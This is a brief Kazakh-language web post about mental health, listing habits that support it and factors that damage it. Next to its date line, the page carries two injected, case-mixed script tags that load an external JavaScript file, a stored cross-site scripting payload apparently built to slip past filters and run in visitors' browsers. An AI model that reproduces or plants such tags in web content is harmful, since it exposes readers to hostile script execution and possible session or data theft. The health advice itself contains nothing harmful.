2021.10.10<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Психикалық денсаулық, физикалық денсаулық сияқты, бізге туылғаннан бастап беріледі. Өмір бойы біз оны нығайтып, сақтай аламыз және ысырап ете аламыз.

Психикалық денсаулықты не күшейтеді?  Естеріңізге сала кетейік.

- Ұйқының қалыпты тәртібі.

- Психикалық және физикалық белсенділіктің, дене шынықтырудың ақылға қонымды арақатынасы.

- Қажетті демалыс (міндетті демалыс)

- Рухани даму.

- Физиологиялық қажеттіліктерді іске асыру: қарым-қатынас, оқыту, жұмыс, отбасы, мүдделер.

Денсаулықты бұзатын факторлар: алкоголь, темекі шегу, ақпараттың шамадан тыс жүктелуі, аурудың бар-жоғын жоққа шығару, жалғыздық.

Бұл біздің психикалық денсаулығымызды анықтайтын маңызды факторлар.

Сау және бақытты болыңыз, өзіңізге қамқорлық жасаңыз, психикалық денсаулығыңызды бақылаңыз!